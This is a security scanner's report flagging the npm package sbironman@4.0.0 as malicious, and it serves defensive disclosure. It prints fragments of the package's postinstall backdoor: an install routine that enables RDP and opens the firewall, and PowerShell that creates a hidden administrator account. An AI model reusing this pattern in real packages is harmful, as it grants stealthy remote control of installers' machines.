--- canonical: "https://firewall.lpm.dev/npm/sbironman/v/4.0.0" markdown: "https://firewall.lpm.dev/npm/sbironman/v/4.0.0.md" package: "sbironman" report_status: "published" title: "sbironman@4.0.0 npm security report" verdict: "malicious" version: "4.0.0" --- # sbironman@4.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Unauthorized privileged remote access, reduced RDP protections, stealthy persistence, and host exposure. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Persistence - **Selected version:** 4.0.0 - **Selected version is latest:** No - **Analysis source:** AI Security Review (lpm-firewall-ai) On npm postinstall, the package elevates and changes Windows RDP, firewall, service, user-account, and executable metadata settings. It creates or enables a privileged remote-access account and hides/disguises the installed service. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-16T09:19:56.026Z - **Finished:** 2026-08-16T09:20:39.117Z - **Download time:** 507 ms - **Static scan time:** 503 ms - **AI review time:** 42080 ms - **Total time:** 43091 ms ## Security analysis ### Published attack-surface review - **Summary:** On npm postinstall, the package elevates and changes Windows RDP, firewall, service, user-account, and executable metadata settings. It creates or enables a privileged remote-access account and hides/disguises the installed service. - **Trigger:** npm postinstall on Windows - **Impact:** Unauthorized privileged remote access, reduced RDP protections, stealthy persistence, and host exposure. - **Evidence paths:** package.json, bin/biklimaster.js, lib/bikliwrapper.js, config.json - **Review source:** ai\_review - **Reviewed:** 2026-08-16T09:20:39.117Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** elevated silent RDP backdoor setup with account creation, concealment, and persistence - **Attack narrative:** Installing the package triggers an elevated installer without a separate user command. It silently installs bundled binaries, enables and exposes RDP, configures an administrator or creates a local administrator account, adds it to remote-access groups, and hides the account. It then disguises the Bikli executable and service as Microsoft/svchost, removes identifiable history, and keeps Terminal Services enabled across reboots. - **Rationale:** This is concrete unconsented postinstall host compromise behavior, not a package-aligned setup action. No network exfiltration is needed for the package to establish stealthy privileged remote access. - **Files touched:** bin/biklimaster.js, lib/bikliwrapper.js, payload/bikli-cli-installer.exe, payload/RDPWInst.exe, config.json, C:\\ProgramData\\BikliWrapper\\admin-credentials.json, C:\\Program Files\\RDP Wrapper\\rdpwrap.ini ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** Postinstall automatically invokes the privileged installer., Install flow enables RDP, runs a bundled installer, opens firewall rules, and creates an RDP administrator., The account routine supplies a configured password, grants local-group membership, and targets the hidden-login registry key., It alters executable metadata to impersonate Microsoft/svchost and clears Bikli-related system history. - **Evidence against:** No external network endpoint or source-level credential exfiltration was found., The behavior is implemented directly in readable JavaScript rather than fetched at runtime. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node bin/biklimaster.js install --postinstall ``` ### 2. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = node bin/biklimaster.js install --postinstall ``` ### 3. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 4. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 5. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 6. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 7. Medium: Ships Native Binary - **Category:** Artifact Inventory - **Confidence:** 75.0% - **Path:** payload/bikli-cli-installer.exe - **Public source:** [View source]() Package ships native binary artifacts. Public source snippet (untrusted): ```text path = payload/bikli-cli-installer.exe kind = native_binary sizeBytes = 11639800 magicHex = [redacted] ``` ### 8. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 9. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() Postinstall automatically invokes the privileged installer. Public source snippet (untrusted): ```json "scripts": { "postinstall": "node bin/biklimaster.js install --postinstall", "test": "node bin/biklimaster.js self-test" ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/biklimaster.js - **Public source:** [View source]() Install flow enables RDP, runs a bundled installer, opens firewall rules, and creates an RDP administrator. Public source snippet (untrusted): ```javascript function install() { requireWindows(); if (!isAdministrator()) return elevateAndRun('install'); verifyPayload(); unhideProtectedFolders(); installBikli(); setupBikliKey(); console.log('Installing or updating Bikli Wrapper silently...'); const wrapper = runWrapper(['install', '--elevated']); if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim()); // Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service. ensureTermServiceAutomatic(); ensureIcmpFirewallRules(); verifyRemoteDesktop(); createRdpAdministrator(); ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/biklimaster.js - **Public source:** [View source]() The account routine supplies a configured password, grants local-group membership, and targets the hidden-login registry key. Public source snippet (untrusted): ```javascript const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword(); const accountPassword = requestedPassword || generatedAccountPassword(); const script = [ `$ErrorActionPreference='Stop'`, `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`, `$secure=ConvertTo-SecureString $password -AsPlainText -Force`, `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`, ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** bin/biklimaster.js - **Public source:** [View source]() The account routine supplies a configured password, grants local-group membership, and targets the hidden-login registry key. Public source snippet (untrusted): ```javascript `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`, `$verified=@()`, `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`, `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\W ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** sbironman - **Ecosystem:** npm - **Version:** 4.0.0 - **License:** BSD-3-Clause - **Version published:** 2026-08-15T02:34:21.896Z - **Package first seen:** 2026-08-15T09:38:02.935Z - **Package last seen:** 2026-08-16T09:21:02.281Z - **Known versions:** 6 - **Latest version:** 5.0.1 - **Appeal under review:** No - **Description:** Internal Windows installer for Bikli CLI and Bikli Wrapper - **Keywords:** bikli, rdp, vpn, windows, installer - **Runtime engines:** node: \>=18 - **Supported OS:** win32 - **Artifact files:** 10 - **Artifact unpacked size:** 13,730,293 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()